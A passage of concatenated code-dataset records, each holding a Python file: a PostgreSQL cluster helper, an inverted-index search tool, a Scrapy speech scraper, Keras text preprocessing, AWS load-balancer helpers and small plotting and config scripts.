' + 'Added id column')\r\n                    return tmpdf\r\n                except:\r\n                    sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n            return wrapper\r\n        return add_id_column_lvl1\r\n\r\n    def split_test_train(self,df,test_size=0.2):\r\n        try:\r\n            train,test = train_test_split(df,test_size=test_size,random_state=120)\r\n            train = train.reset_index(drop=True)\r\n            test = test.reset_index(drop=True)\r\n            print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Train dataframe shape '+str(train.shape))\r\n            print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Test dataframe shape ' + str(test.shape))\r\n            return train,test\r\n        except:\r\n            sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n    def join_test_train(self,train,test):\r\n        try:\r\n            train['type'] = 'train'\r\n            test['type'] = 'test'\r\n            maindf = pd.concat([train,test])\r\n            maindf = maindf.reset_index(drop=True)\r\n            print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Combined dataframe shape '+str(maindf.shape))\r\n            return maindf\r\n        except:\r\n            sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n    def df_onlyselected(self, maindf,selected_columns):\r\n        try:\r\n            print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Dataframe size before selecting needed columns' +\r\n                  str(maindf.shape))\r\n            maindf = maindf[selected_columns]\r\n            print(\"INFO : \" + str(datetime.now()) + ' : ' + 'Dataframe size after selecting needed columns' +\r\n                  str(maindf.shape))\r\n            return maindf\r\n        except:\r\n            sys.exit('ERROR : ' + str(datetime.now()) + ' : ' + sys.exc_info()[1])\r\n\r\n","sub_path":"data_transformer.py","file_name":"data_transformer.py","file_ext":"py","file_size_in_byte":43154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"462591244","text":"class Config:\n    # modify them if you know what you're doing\n    _DATASHEETS_DIR = \"cache/datasheets/\"\n    _SAVES_DIR = \"cache/saves/\"\n    _DATE_FORMAT = \"%m/%d/%y\"\n\n    _ERROR_0 = \"Incorrect input. Please try again.\"\n    _ERROR_1 = \"Incorrect keyword. Please try again.\"\n\n    _EXCEPTION_0 = \"Incorrect field\"\n    _EXCEPTION_1 = \"Incorrect value type\"\n    _EXCEPTION_2 = \"Index out of bounds\"\n\n    # field groupings; again modify if you know what you're doing\n    _WEATHER = [\n        \"Temperature\",\n        \"Wind Speed\",\n        \"Humidity\"\n    ]\n\n    _SPECIFICATIONS = [\n        \"Payload Name\",\n        \"Booster Name\",\n        \"Motor Name\",\n        \"Parachute Name\",\n        \"Motor Delay\"\n    ]\n\n    _MASS_COMPONENTS = [\n        \"Payload\",\n        \"Booster\",\n        \"Eggs\",\n        \"Parachute\",\n        \"Nomex\",\n        \"Insulation\",\n        \"Ballast\",\n        \"Casing\",\n        \"Motor\"\n    ]\n\n    _RESULTS = [\n        \"Time\",\n        \"Altitude\"\n    ]\n\n    _OBSERVATIONS = [\n        \"Modifications\",\n        \"Damages\",\n        \"Characteristics\",\n        \"Considerations\"\n    ]\n\n    # datasheet formattings; (as said above)\n    _DATASHEET_FORMAT = {\n        \"Temperature\" : \" (F)\",\n        \"Wind Speed\" : \" (MPH)\",\n        \"Humidity\" : \" (%)\",\n        \"Payload Name\" : \"\",\n        \"Booster Name\" : \"\",\n        \"Motor Name\" : \"\",\n        \"Parachute Name\" : \"\",\n        \"Motor Delay\" : \" (s)\",\n        \"Payload\" : \" (g)\",\n        \"Booster\" : \" (g)\",\n        \"Eggs\" : \" (g)\",\n        \"Parachute\" : \" (g)\",\n        \"Nomex\" : \" (g)\",\n        \"Insulation\" : \" (g)\",\n        \"Ballast\" : \" (g)\",\n        \"Casing\" : \" (g)\",\n        \"Motor\" : \" (g)\",\n        \"Time\" : \" (s)\",\n        \"Altitude\" : \" (ft)\",\n        \"Modifications\" : \"\",\n        \"Damages\" : \"\",\n        \"Characteristics\" : \"\",\n        \"Considerations\" : \"\"\n    }\n\n    _IND_0 = \"\\t\"\n    _IND_1 = \"\\t\\t\"\n\n    # modify according to tarc season rules\n    _MIN_TIME = 43 # seconds\n    _MAX_TIME = 46 # seconds\n    _ALTITUDE = 856 # feet\n","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"117786017","text":"import os\nimport shutil\nimport time\n\nfrom multiprocessing import cpu_count, Process, Queue\nfrom subprocess import call, STDOUT\nfrom tempfile import TemporaryFile\nfrom utils.logging import log\nfrom settings_local import BASE_PATH\n\nSOCKET_PATH = os.path.join(BASE_PATH, 'socket')\n\nclass PgCluster(object):\n    'basic manipulation of postgres cluster (init, start, stop, destroy)'\n\n    def __init__(self, outdir, bin_path, data_path):\n        self._outdir = outdir\n        self._bin = bin_path\n        self._data = data_path\n\n        self._env = os.environ\n        self._env['PATH'] = ':'.join([bin_path, self._env['PATH']])\n        \n        #self._env['USER'] = \"postgres\"\n        #self._env['USERNAME'] = \"postgres\"\n        #self._env['LOGNAME'] = \"postgres\"\n        \n        #self._env['PGUSER'] = \"postgres\"\n        \n        self._env['PGDATABASE'] = \"postgres\"\n\n        #print(self._env)\n\n        self._options = \"\"\n\n    def _initdb(self):\n        'initialize the data directory'\n\n        with TemporaryFile() as strout:\n            log(\"initializing cluster into '%s'\" % (self._data,))\n            r = call(['pg_ctl', '-D', self._data, 'init'], env=self._env,\n                 stdout=strout, stderr=STDOUT)\n            print(\"Initdb log: \")\n            print(r)\n\n        # editing postgresql.auto.conf\n        # assuming building and installing went correctly\n        with open(self._data + '/postgresql.auto.conf', 'w+') as file:\n            file.write(\"unix_socket_directories = '%s'\\n\" % SOCKET_PATH)\n\n    def _configure(self, config):\n        'build options list to use with pg_ctl'\n\n        for k in config:\n            self._options += ''.join([\" -c \", k, \"='\", str(config[k]), \"'\"])\n\n    def _destroy(self):\n        \"\"\"\n        forced cleanup of possibly existing cluster processes and data\n        directory\n        \"\"\"\n        with TemporaryFile() as strout:\n            log(\"killing postgres processes\")\n            try: \n                pidfile = open(''.join([self._outdir, '/postmaster.pid']), 'r')\n                pid = pidfile.readline().strip()\n                run_cmd(['kill', '-9', pid])\n                log(\"found postmaster.pid\")\n            except FileNotFoundError:\n                log(\"postmaster.pid not found\")\n        \n        # remove the data directory\n        '''\n        if os.path.exists(self._data):\n            shutil.rmtree(self._data)\n        '''\n\n    def start(self, config, destroy=True):\n        'init, configure and start the cluster'\n\n        # cleanup any previous cluster running, remove data dir if it exists\n        if destroy:\n            self._destroy()\n\n        self._initdb()\n        self._configure(config)\n\n        with TemporaryFile() as strout:\n            log(\"starting cluster in '%s' using '%s' binaries\" %\n                (self._data, self._bin))\n\n            cmd = ['pg_ctl', '-D', self._data, '-l',\n                   ''.join([self._outdir, '/pg.log']), '-w']\n            if len(self._options) > 0:\n                cmd.extend(['-o', self._options])\n            cmd.append('start')\n            call(cmd, env=self._env, stdout=strout, stderr=STDOUT)\n\n    def stop(self, destroy=True):\n        'stop the cluster'\n\n        with TemporaryFile() as strout:\n            log(\"stopping cluster in '%s' using '%s' binaries\" %\n                (self._data, self._bin))\n            call(['pg_ctl', '-D', self._data, '-w', '-t', '60', 'stop'],\n                 env=self._env, stdout=strout, stderr=STDOUT)\n\n        # kill any remaining processes, remove the data dir\n        if destroy:\n            self._destroy()\n","sub_path":"client/utils/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":3562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"22716279","text":"import re\nimport json\nstop_word_list_text = []\ninverted_index = {}\n\ndef loading_inverted_index_from_content(location):\n    global inverted_index\n    with open(location, 'r') as pos_inverted:\n        for line in pos_inverted:\n            item = line.split(\":\")\n            # item[1] = item[1].strip()\n            # item[0] = item[0].strip()\n\n            inverted_index[item[0].strip()] = eval(item[1])\n\n            # print(item)\n\n            # if item[1] == 09:\n            # # item[0] = str(item[0])\n            # # if item[0] == \"09\":\n            # regex = re.compile('[0]*')\n            # if regex.match(item[1]):\n            #     continue\n            # else:\n            # if \"09\" not in item[0] and \"09\" not in item[1]:\n            # if ((\"09\" not in item[1]) and (\"01\" not in item[1]) and\n            #     (\"02\" not in item[1]) and (\"04\" not in item[1]) and\n            #     (\"03\" not in item[1]) and (\"05\" not in item[1]) and\n            #     (\"06\" not in item[1]) and (\"09\" not in item[1]) and\n            #     (\"07\" not in item[1]) and (\"08\" not in item[1])):\n            #     item[0] = item[0].lstrip(\"0\").strip()\n            #     inverted_index[item[0].strip()] = eval(item[1])\n\n    with open(\"abcd.txt\", 'w') as f:\n        docfreqjson = json.dumps(inverted_index)\n        f.write(docfreqjson)\n        # f.write(inverted_index)\n    print(inverted_index)\n\n\n\n\n\ndef stop_word_list():\n    with open('common_words') as f:\n        for line in f:\n            stop_word_list_text.append(line.strip())\n            print(stop_word_list_text)\n            # print(line)\n\ndef enter_query():\n    user_input = input(\"Do you want to enter the query term? yes/no \\n\")\n    if user_input.lower() == \"yes\":\n        query_content = input(\"enter your query\\n\")\n    elif user_input.lower() == \"no\":\n        return\n    else:\n        enter_query()\n    return query_content\n\n\n\ndef remove_stop_words_from_query(query):\n\n    choose_to_remove_stopwords = input(\"Do you want to remove the stop words from query? y/n \\n \")\n\n    if choose_to_remove_stopwords.lower() == 'y':\n        global stop_word_list_text\n        print('inside removing stopwords')\n\n        print('query is:')\n        print(query)\n\n        newQuery = \"\"\n        query_list = query.split(\" \")\n\n        print('query list is:')\n        print(query_list)\n\n        for item in query_list:\n            print('item in query list')\n            print(item)\n            if item not in stop_word_list_text:\n                print('item not in stop word list')\n                print(item)\n                newQuery = newQuery + item + \" \"\n        print('newQuery is: ')\n        print(newQuery.strip())\n        return newQuery.strip()\n    elif choose_to_remove_stopwords.lower() == 'n':\n        return query.strip()\n    else:\n        remove_stop_words_from_query(query)\n\n\n\ndef remove_punctuations(query_text):\n    punctuations_text = ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '_', '-', '+', '=', '{', '}', '|', '\\'',\n                         '<', '\"', ',', '.', '[', ']', ';', ',', '/', '.', ' (', ')', '`', '~', ' .', '&#8221',\n                         '&#8220', '&#8222', '&#8482', '&#8364']\n\n\n    for x in punctuations_text:\n        if x in query_text:\n            query_text = query_text.replace(x, \" \")\n\n    query_text = query_text.lower()\n    query_text = query_text.lower().replace(\"\\n\", \" \")\n    query_text = re.sub(' +', ' ', query_text).strip()\n\n    # punctuations for handling text with special ascii characters for double quotes not specific to the mac system\n\n\n    query_text = re.sub(r\"[^0-9A-Za-z,-\\.:\\\\$]\", \" \", query_text)\n    query_text = re.sub(r\"(?!\\d)[$,%,:.,-](?!\\d)\", \" \", query_text, 0)\n\n    query_text = query_text.split()\n    return query_text\n\n\ndef find_documents_with_terms_matching(query_term):\n\n    if query_term not in inverted_index.keys():\n        return []\n\n    list_of_documents_with_term = inverted_index[query_term]\n\n    list_of_documents = []\n\n    for element in list_of_documents_with_term:\n        list_of_documents.append(element[0])\n        # print(list_of_documents, element)\n    return list_of_documents\n\ndef exact_match(query_content):\n    # print(query_content)\n    # print('inside exact match')\n    track_list = []\n\n    for x in query_content[:1]:\n        # print('x first is:')\n        # print(x)\n        result = find_documents_with_terms_matching(x)\n        # print('result is:')\n        # print(result)\n        track_list = result\n        print('track list is:')\n        print(track_list)\n\n    for x in query_content[1:]:\n        # print('x second is:')\n        # print(x)\n        result = find_documents_with_terms_matching(x)\n        track_list = list(set(track_list).intersection(result))\n        # for y in track_list:\n        #     if y in track_list:\n        #         track_list = track_list\n\n    print(track_list)\n\n    for i in range(len(query_content)):\n        list1 = []\n        list2 = []\n        key = inverted_index[query_content[i]]\n        for k in key:\n            if k[0] == track_list[0]:\n                list1 = k[2]\n        if i == len(query_content) - 1:\n            break\n        key = inverted_index[query_content[i+1]]\n        for k in key:\n            if k[0] == track_list[0]:\n                list2 = k[2]\n        for li in list1:\n            for li2 in list2:\n                k = li - li2\n                if k == -1:\n                    print(\"match\")\n                    print(key)\n                    for x in key:\n                        print(x[0])\n\n\n\ndef best_match(query_term):\n    print('query_term is : ')\n    print(query_term)\n    new_final_list = []\n    final_list = []\n    for x in query_term:\n        postings_list = inverted_index[x]\n        final_list.append(postings_list)\n\n    print(final_list)\n\n    for x in final_list:\n        # print(x)\n        for y in x:\n            print(y[0])\n            if (y[0]) not in new_final_list:\n                new_final_list.append(y[0])\n            # print('\\n')\n\n\n    print('new_final_list is:')\n    print(new_final_list)\n\n\n\ndef prox_match(query, n):\n    n = int(n)\n    print(type(n))\n\n    print('Query terms are:')\n    print(query)\n\n\n    new_dict = {}\n\n    for query_word in query:\n        print('Postings list for term in query:', query_word)\n        print(inverted_index[query_word])\n        print('\\n')\n        new_dict[query_word] = inverted_index[query_word]\n\n\n    print('New dictionary is:')\n    print(new_dict)\n    print('\\n')\n\n\n    print('List to store the positions for a terms is called list567')\n    list567 = []\n    print('\\n')\n\n    print('inverted list to store the document name as key and the [[query term1, positions][query term2, position]]')\n\n    inverted_dict = {}\n\n    print('\\n')\n\n\n    for query_word in new_dict.keys():\n        # inverted_dict[]\n\n\n        for val in new_dict[query_word]:\n\n            temp = []\n            if(val[0] in inverted_dict.keys()):\n                if(query_word in inverted_dict[val[0]].keys()):\n                    temp = inverted_dict[val[0]].get(query_word)\n\n            for z in (val[2]):\n\n                temp.append(z)\n\n\n            if(val[0] not in inverted_dict.keys()):\n                inverted_dict[val[0]] = {query_word: temp}\n            else:\n                inverted_dict[val[0]].update({query_word: temp})\n        print(inverted_dict)\n        print('\\n')\n        print('\\n')\n\n\n        for x in inverted_dict:\n            print(x)\n            print('\\n')\n\n\n\n\n\n# Declaring the main function in Python\ndef main():\n    loading_inverted_index_from_content('/Users/mihirg/PycharmProjects/extracreditnew/1_position_inverted_index.txt')\n    query_content = enter_query()\n    # query_content = query_content.split(\" \")\n    print(query_content)\n    stop_word_list()\n    query_content = remove_stop_words_from_query(query_content)\n    query_content = remove_punctuations(query_content)\n    print(query_content)\n    exact_match(query_content)\n    # best_match(query_content)\n    n = input(\"Enter the value for proximity n\" + \"\\n\")\n    print(n)\n    prox_match(query_content, n)\n\n# Checking if the program is being run by itself or imported from another module\nif __name__ == '__main__':\n    # print ('This program is being run by itself');\n    main()\nelse:\n    print('the program is imported from another module')\n","sub_path":"extra_credit/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":8249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"498140851","text":"# initialize project and folders with: scrapy startproject speech_scrape\n# test xpath calls: scrapy shell 'http://www.presidency.ucsb.edu/nomination.php'\n\nimport  scrapy\n\nclass  ConventionSpeech(scrapy.Spider):\n\n    name = 'convention' # name for scrapy crawl call\n\n    custom_settings = {\n        \"DOWNLOAD_DELAY\": 3,\n        \"CONCURENT_REQUESTS_PER_DOMAIN\": 3,\n        \"HTTPCACHE_ENABLED\": True\n    }\n\n    start_urls = ['http://www.presidency.ucsb.edu/nomination.php'] # webpage with data source links\n\n    # define function to collect webpage source links\n    def parse(self, response):\n\n        # extract the links to the individual pages\n        for href in response.xpath(\n                '//tr/td[@class=\"ver12\"]/a/@href'\n        ).extract():\n\n            # for each link, call parse function to scrape data from each webpage\n            yield scrapy.Request(\n                url=href,\n                callback=self.parse_speech,\n                meta={'url':href}\n            )\n\n    # define function to scrape data from each webpage\n    def parse_speech(self, response):\n\n        type = 'convention'\n        speaker = response.xpath('//table[@width=\"760\"]/tr/td/table/tr/td/img/@alt').extract()[0]\n        date = response.xpath('//tr/td/span[@class=\"docdate\"]/text()').extract()[0] # change to year?\n        speech = response.xpath('//span[@class=\"displaytext\"]/p/text()').extract()\n\n        # specify items to provide export file\n        yield {\n            'type': type,\n            'speaker': speaker,\n            'date': date,\n            'speech': speech\n        }\n\n# terminal call in highest scrapy directory: scrapy crawl convention -o convention.csv\n","sub_path":"speech_scrape/speech_scrape/spiders/convention.py","file_name":"convention.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"652801070","text":"import pickle\nimport re\n\nimport h5py\nimport numpy as np\n# from keras import initializations\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.preprocessing.text import Tokenizer\nfrom nltk.corpus import stopwords\nfrom nltk.stem import SnowballStemmer\n\nfrom config import *\nfrom tqdm import tqdm\nimport mmap\n\ndef get_num_lines(file_path):\n    fp = open(file_path, \"r+\")\n    buf = mmap.mmap(fp.fileno(), 0)\n    lines = 0\n    while buf.readline():\n        lines += 1\n    return lines\n\nTRAIN_HDF5 = './train_hdf5.h5'\nword_index_path='./word_index.pkl'\n\nwiki_reg=r'https?://en.wikipedia.org/[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]'\nurl_reg=r'https?://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]'\nip_reg='\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}'\nWIKI_LINK=' WIKI_LINK '\nURL_LINK=' URL_LINK '\nIP_LINK=' IP_LINK '\n\ndef dump_X_Y_train_test(train, test, y,word_index):\n    print('save to h5 ',TRAIN_HDF5)\n    outh5file = h5py.File(TRAIN_HDF5, 'w')\n    test_token = outh5file.create_dataset('test_token', data=test)\n    train_token = outh5file.create_dataset('train_token', data=train)\n    train_label = outh5file.create_dataset(name='train_label', data=y)\n    outh5file.close()\n    with open(word_index_path, 'wb') as f:\n        pickle.dump(word_index, f)\n\ndef load_train_test_y():\n    print('load from h5 ',TRAIN_HDF5)\n    outh5file = h5py.File(TRAIN_HDF5, 'r')\n    train = outh5file['train_token']\n    test = outh5file['test_token']\n    y = outh5file['train_label']\n    word_dict={}\n    with open(word_index_path, 'rb') as f:\n        word_dict= pickle.load(f)\n    return train, test, y,word_dict\n\ndef get_X_train_X_test(train_df, test_df):\n    print('Processing text dataset')\n    list_sentences_train = train_df[\"comment_text\"].fillna(\"NA\").values\n    list_classes = [\"toxic\", \"severe_toxic\", \"obscene\", \"threat\", \"insult\", \"identity_hate\"]\n    y = train_df[list_classes].values\n    list_sentences_test = test_df[\"comment_text\"].fillna(\"NA\").values\n    print('Processing new')\n\n    comments = []\n    for text in tqdm(list_sentences_train):\n        comments.append(text_to_wordlist(text))\n    test_comments = []\n\n    for text in tqdm(list_sentences_test):\n        test_comments.append(text_to_wordlist(text))\n\n    with open('text.txt','w',encoding='utf-8') as fp:\n         # for c in comments:\n        fp.write(\"\\n\".join(comments))\n        fp.write(\"\\n\".join(test_comments))\n    tokenizer = Tokenizer(num_words=MAX_FEATURES)\n    tokenizer.fit_on_texts(comments + test_comments)\n\n    sequences = tokenizer.texts_to_sequences(comments)\n    test_sequences = tokenizer.texts_to_sequences(test_comments)\n\n    word_index = tokenizer.word_index\n    print('Found %s unique tokens' % len(word_index))\n\n    data = pad_sequences(sequences, maxlen=MAX_TEXT_LENGTH)\n    print('Shape of data tensor:', data.shape)\n    print('Shape of label tensor:', y.shape)\n\n    test_data = pad_sequences(test_sequences, maxlen=MAX_TEXT_LENGTH)\n    print('Shape of test_data tensor:', test_data.shape)\n\n\n    return data, test_data, tokenizer.word_index\n\n# Regex to remove all Non-Alpha Numeric and space\nspecial_character_removal = re.compile(r'[^A-Za-z_\\d?! ]', re.IGNORECASE)\n# regex to replace all numerics\nreplace_numbers = re.compile(r'\\d+', re.IGNORECASE)\n\ndef text_to_wordlist(text, remove_stopwords=False, stem_words=False):\n    # Clean the text, with the option to remove stopwords and to stem words.\n\n    #clear link\n    c = re.findall(wiki_reg, text)\n    for u in c:\n        text = text.replace(u, WIKI_LINK)\n    c = re.findall(url_reg, text)\n    for u in c:\n        text = text.replace(u, WIKI_LINK)\n    c = re.findall(wiki_reg, text)\n    for u in c:\n        text = text.replace(u, URL_LINK)\n    c = re.findall(ip_reg, text)\n    for u in c:\n        text = text.replace(u, IP_LINK)\n\n    # Convert words to lower case and split them\n    # text = text.lower().split()\n    from util.trie import tree,pre_dict\n\n    phrase=tree.tokenize(text)\n    for p in phrase:\n        text=text.replace(p,pre_dict[p])\n    text = text.split()\n\n    if len(text)>200:\n        text_head=text[:100]\n        text_tail=text[-100:]\n        text=text_head+text_tail\n\n    # Optionally, remove stop words\n    if remove_stopwords:\n        stops = set(stopwords.words(\"english\"))\n        text = [w for w in text if not w in stops]\n\n    text = \" \".join(text)\n\n    # Remove Special Characters\n    text = re.sub(r\"[^\\w?! ]+\",\"\",text,flags=re.UNICODE)\n\n    # Replace Numbers\n    text = replace_numbers.sub('Num', text)\n\n    # Optionally, shorten words to their stems\n    if stem_words:\n        text = text.split()\n        stemmer = SnowballStemmer('english')\n        stemmed_words = [stemmer.stem(word) for word in text]\n        text = \" \".join(stemmed_words)\n\n    # Return a list of words\n    return (text)\n\n\n\"\"\"\nprepare embeddings\n\"\"\"\n\n\ndef get_embedding_matrix(word_index,Emed_path):\n    #    Glove Vectors\n    print('Indexing word vectors')\n    embeddings_index = {}\n    file_line=get_num_lines(Emed_path)\n    print('lines ',file_line)\n    with open(Emed_path,encoding='utf-8') as f:\n        for line in tqdm(f, total=file_line):\n            values = line.split()\n            word = ' '.join(values[:-300])\n            coefs = np.asarray(values[-300:], dtype='float32')\n            embeddings_index[word] = coefs\n    # f.close()\n\n    print('Total %s word vectors.' % len(embeddings_index))\n    print('Preparing embedding matrix')\n    nb_words = min(MAX_FEATURES, len(word_index))\n    all_embs = np.stack(embeddings_index.values())\n    print(all_embs.shape)\n    emb_mean, emb_std = all_embs.mean(), all_embs.std()\n    embedding_matrix = np.random.normal(loc=emb_mean, scale=emb_std, size=(nb_words, embedding_dims))\n    # embedding_matrix = np.zeros((nb_words, embedding_dims))\n    word_in_embeded=0\n    for word, i in tqdm(word_index.items()):\n        if i >= MAX_FEATURES:\n            continue\n        embedding_vector = embeddings_index.get(word)\n        if embedding_vector is not None:\n            # words not found in embedding index will be all-zeros.\n            embedding_matrix[i] = embedding_vector\n            word_in_embeded+=1\n    # np.save(Emed_path, embedding_matrix)\n    word_in_embeded=nb_words-word_in_embeded\n    print('Null word embeddings: %d' % word_in_embeded)\n    return embedding_matrix\n\n","sub_path":"experment_new4/util/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":6286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"527980863","text":"from app import config\nfrom app.aws import connect_ec2_elb\nfrom app.db.services import LoadBalancer\nfrom app.db.services import Service\n\nfrom boto.ec2.elb import HealthCheck\n\n\ndef create_service_elb(service, name):\n    conn = connect_ec2_elb()\n    lb = None\n    try:\n        lbs = conn.get_all_load_balancers(load_balancer_names=[name])\n        if len(lbs) > 0:\n            lb = lbs[0]\n    except:\n        pass\n    if lb is None:\n        ports = [(80, service.external_port, 'http')]\n        if not service.internal:\n            ports.append((443, service.external_port, 'https', config.CERTIFICATE_ID))\n        if service.internal:\n            scheme = 'internal'\n            subnets = [config.PRIVATE_SUBNET_ID]\n            security_group_ids = config.PRIVATE_LB_SG\n        else:\n            scheme = 'internet-facing'\n            subnets = [config.PUBLIC_SUBNET_ID]\n            security_group_ids = config.PUBLIC_LB_SG\n        lb = conn.create_load_balancer(name,\n                                       [],\n                                       listeners=ports,\n                                       scheme=scheme,\n                                       security_groups=security_group_ids,\n                                       subnets=subnets)\n    hc = HealthCheck(\n        interval=60,\n        healthy_threshold=3,\n        unhealthy_threshold=5,\n        target='HTTP:{}/index.html'.format(service.external_port)\n    )\n    lb.configure_health_check(hc)\n\n    lb = LoadBalancer.create(service_uuid=service.uuid, elb_dns_name=lb.dns_name, name=name)\n\n\ndef update_service_elb(service):\n    conn = connect_ec2_elb()\n    service_lb = service.get_loadbalancer()\n    lbs = conn.get_all_load_balancers(load_balancer_names=[service_lb.name])\n    if len(lbs) > 0:\n        lb = lbs[0]\n        LoadBalancer.update(service_lb.uuid, elb_dns_name=lb.dns_name)\n\n\ndef delete_service_elb(service):\n    conn = connect_ec2_elb()\n    lbs = conn.get_all_load_balancers(load_balancer_names=[service.get_loadbalancer().name])\n    if len(lbs) > 0:\n        lb = lbs[0]\n        lb.delete()\n    LoadBalancer.delete(service.get_loadbalancer().uuid)\n    return service\n\n\ndef update_service_elb_visibility(service, internal):\n    if internal == service.internal:\n        return service\n    # TO DO: Figure out how to update an elb's scheme\n    # conn = connect_ec2_elb()\n    # scheme = 'internal' if service.internal else 'internet-facing'\n    modified = False\n    if modified:\n        service = Service.update(service.uuid, internal=internal)\n    return service\n","sub_path":"app/aws/loadbalancers.py","file_name":"loadbalancers.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"503001590","text":"# Start collab\r\nglobal x\r\n\r\n# create formatted author list from EndNote export\r\no = open(\"PUBMED r2.txt\", 'r', encoding='UTF-8')\r\nf = o.readlines()\r\no.close()\r\n\r\n# Initialize empty authors list\r\nauthors = []\r\n\r\no = open(\"author list.txt\", 'w', encoding='UTF-8')\r\n\r\n# For each line, remove 'Author:' and replace 'and' with ','\r\nfor i in f:\r\n    if \"Author:\" in i:\r\n        authors.append(i.replace(\"Author: \",\"\").replace(\" and \", \", \").rstrip())\r\n\r\nfor i in authors:\r\n    # all names from each paper\r\n    a = i.split(',')\r\n\r\n    #single out individual name\r\n    for j in a:\r\n        o.write((j.upper().strip() + \"\\n\"))\r\n\r\n    o.write(\"!FIN!\\n\")\r\n\r\no.close()\r\n\r\n# find collaborators\r\no = open(\"author list.txt\", 'r', encoding='UTF-8', errors='ignore')\r\nf = o.readlines()\r\no.close()\r\n\r\n# key: author, values: collaborators\r\nx = {}\r\n\r\n# array for temp storage\r\ny = []\r\n\r\n# store each name as a key in x. skip duplicates.\r\nfor i in f:\r\n    j = i.strip()\r\n    \r\n    # add the name if it's not already there\r\n    if j is not \"!FIN!\" and x.get(j) is None:\r\n        x[j] = \"\"\r\n\r\n# bundle authors from each paper\r\nz = \"\"\r\n\r\nfor i in f:\r\n    j = i.strip()\r\n    if j == \"!FIN!\":\r\n        y.append(z[2:])\r\n        z = \"\"\r\n    else:\r\n        z = z + \", \" + j\r\n    \r\n# each index is a key, non-current indices are values\r\nfor i in y:\r\n    j = i.split(',')\r\n    key = \"\"\r\n\r\n    for k in range(len(j)):\r\n        #names before current index\r\n        for q in range(0, k):\r\n            x[j[k].strip()] = x[j[k].strip()] + j[q].strip() + \"\\n\"\r\n\r\n        #names after current index\r\n        for q in range(k+1, len(j)):\r\n            x[j[k].strip()] = x[j[k].strip()] + j[q].strip() + \"\\n\"\r\n\r\n# format output\r\ndef get_names(st):\r\n    c = 0\r\n    blacklist = []\r\n    names = []\r\n    for i in x.get(st).split('\\n'):\r\n        names.append(i)\r\n\r\n    names.sort()\r\n    for i in names:\r\n        if names.count(i) > 1 and i not in blacklist:\r\n            print(i + \" (\" + str(names.count(i)) + \")\")\r\n            blacklist.append(i)\r\n            c += names.count(i)\r\n        elif i not in blacklist:\r\n            print(i)\r\n            c += 1\r\n\r\n    # -1 because it counts the current author, which we don't want.\r\n    print(\"Total: \" + str(c-1))\r\n\r\n    \r\nwhile True:\r\n    inp = input(\"\\nName: \").upper()\r\n    if inp == \"EXIT\":\r\n        exit()\r\n\r\n    elif inp == \"DIR\":\r\n        for i in x.keys():\r\n            print(i)\r\n\r\n    elif \"SEARCH\" in inp:\r\n        a = inp.split()\r\n        for i in x.keys():\r\n            if a[1] in i:\r\n                print(i)\r\n\r\n    elif x.get(inp) is None:\r\n        print(\"ERROR: Author not found. Try again.\")\r\n\r\n    else:\r\n        get_names(inp)\r\n","sub_path":"collab.py","file_name":"collab.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"369475223","text":"import untangle\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nobj = untangle.parse('corr_flows.xml')\n\n# Flows delay\nplotValues = []\nfor i in range(0,20):\n    delayString = obj.FlowMonitor.FlowStats.Flow[i]['lastDelay'].replace(\"ns\",\"\")\n    plotValues.append(float(delayString)*10**(-6))\n\nX = np.arange(20)\nfig1, ax1 = plt.subplots()\nax1.bar(X,plotValues)\nax1.set_yscale('log')\nplt.xlabel('Flow number')\nplt.ylabel('ns')\nplt.xticks(np.arange(20), np.arange(1,21))\nplt.title('Last delay for each flow')\nplt.show()\n\n\n# Flows throughput\nplotValues = []\nflows = []\nfor i in range(0,20):\n    txBytes = float(obj.FlowMonitor.FlowStats.Flow[i]['txBytes'])\n    timeDiff = float(obj.FlowMonitor.FlowStats.Flow[i]['timeLastTxPacket'].replace(\"ns\",\"\"))  - float(obj.FlowMonitor.FlowStats.Flow[i]['timeFirstTxPacket'].replace(\"ns\",\"\"))\n    if timeDiff == 0:\n        continue\n    flows.append(i+1)\n    plotValues.append(8*txBytes/timeDiff) \n\nX = np.arange(len(flows))\nfig1, ax1 = plt.subplots()\nax1.bar(X,plotValues)\nax1.set_yscale('log')\nplt.xlabel('Flow number')\nplt.ylabel('bps')\nplt.xticks(np.arange(len(flows)), flows)\nplt.title('Total sent throughput for each flow')\nplt.show()\n\n","sub_path":"graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
